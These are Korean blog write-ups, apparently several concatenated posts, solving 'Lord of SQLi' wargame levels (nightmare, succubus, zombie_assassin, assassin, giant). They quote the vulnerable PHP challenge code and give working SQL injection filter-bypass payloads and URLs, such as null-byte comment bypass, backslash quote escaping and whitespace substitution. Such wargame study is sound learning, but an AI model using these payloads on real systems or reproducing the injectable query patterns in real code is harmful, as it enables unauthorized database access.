<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

$_GET[pw] 필터
/prob
_
.
()
#
-

주석사용 금지이다. 게다가, $_GET[pw] 6글자 이하이여야 한다.

SELECT id FROM prob_nightmare WHERE pw=(' ') AND id!='admin';
이번에는 id가 admin이면 안된다.



query : select id from prob_nightmare where pw=('')=('0') and id!='admin'

이러면 왜 안나오지? 솔직히 왜 안나오는지 모르겠다.
로컬에서 똑같이 환경 구축하고 해봤는데 결과는 잘나왔다.


다른 블로그 풀이를 본 결과, ;%00을 사용해 #, - 주석 필터를 우회할 수 있다고 한다.
?pw=')=0;%00 을 입력하면 된다고한다.
query : select id from users where pw=('')=0;') and id!='admin'
근데 잘 보면 내가 작성했던 풀이랑 결과는 똑같다.
pw=('')=0 는 다음과 같이 처리된다.
  1. pw=('') 를 먼저 수행한다. 결과는 당연 False
  1. 그후, False=0을 수행한다. 결과는 True 
따라서 위 수행 결과는 항상 참이 되어 모든 레코드가 출력된다. 또한, 주석으로 and id!='admin' 부분이 주석처리 되어 admin을 포함한 모든 레코드가 추출된다. 여기서 내가 작성한 풀이법이랑 다른점은 and id!='admin' 주석 처리 유무이다.
만약, 테이블에 admin 레코드 하나 밖에 없다면, 내가 작성한 풀이법은 어떠한 레코드가 추출되지 않을 것이다.
하지만 다른 블로그 풀이법대로 한다면, and id!='admin'이 주석돼 admin 레코드가 추출돼 풀 수 있던 것 같다.
뭔가, 빡침

'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] succubus  (0) 2018.09.17
[los] zombie_assassin  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17


<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

$_GET[id], $_GET[pw] 필터
/prob
_
.
()
'

\를 필터로 안막았다. 따라서 ?id=\로 입력하면 쿼터를 망가뜨릴 수 있다.
?id=\&pw=or%201=1%23 하면 id='\'&pw='or%201=1%23' 이런식으로 되고 다음과 같이 쿼리가 완성된다.
query : select id from prob_succubus where id='rap1er\' and pw='or 1=1#'

https://los.eagle-jump.org/succubus_8ab2d195be2e0b10a3b5aa2873d0863f.php?id=rap1er\&pw=or%201=1%23



'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] nightmare :: auto type cast  (0) 2018.09.18
[los] zombie_assassin  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(@ereg("'",$_GET[id])) exit("HeHe"); 
  if(@ereg("'",$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>


$_GET[id], $_GET[pw] 필터

\
prob
_
.
()
싱글쿼터(')

ereg 함수 취약점을 이용해 우회


https://los.eagle-jump.org/zombie_assassin_14dfa83153eb348c4aea012d453e9c8a.php?id=%00%27or%201=1%23


'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] nightmare :: auto type cast  (0) 2018.09.18
[los] succubus  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

$_GET[pw] 필터
싱글쿼터(')

SELECT id FROM prob_assassin WHERE pw like ''
$result[id] == 'admin' 이면 된다.

like 는 %, _가 특수 기능을 한다.
%는 0 또는 1개 이상의 모든 문자에 일치
_는 정확히 1개의 문자에 일치

따라서 WHERE pw like '%X%' x에 임의 값 0-9, a-f 까지 입력했지만 GUEST만 출력됐다.
따라서 GUEST 레코드가 위에 있으므로 계속해서 GUEST가 출력되게 비밀번호를 하나하나 맞추니까
다음과 같을 때 Hello admin 이 출력됐다.

https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%25

처음에 like 의 반대를 의미하는 것을 쓰면 되겠다. 했지만 쿼터 사이에 묶여 있으므로 ...
위와 같은 게싱방식으로 품.
문득 드는 생각인데 내장함수 또는 (, ) 가 필터됐을 경우 이런식으로 Blind SQL 인젝션 할 수 있겠다

'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] succubus  (0) 2018.09.17
[los] zombie_assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17
[los] troll  (0) 2018.09.16

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

%09 - 탭(\t)
%0a - line feed(\n)
%0d - 캐리지 리턴(\r)
%0b - 수직탭(\v)
%0C - form feed(\f) <- 이건 처음 들어봄. 꿀팁 


https://los.eagle-jump.org/giant_9e5c61fc7f0711c680a4bf2553ee60bb.php?shit=%0b

'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] zombie_assassin  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17
[los] troll  (0) 2018.09.16
[los] vampire  (0) 2018.09.16

+ Recent posts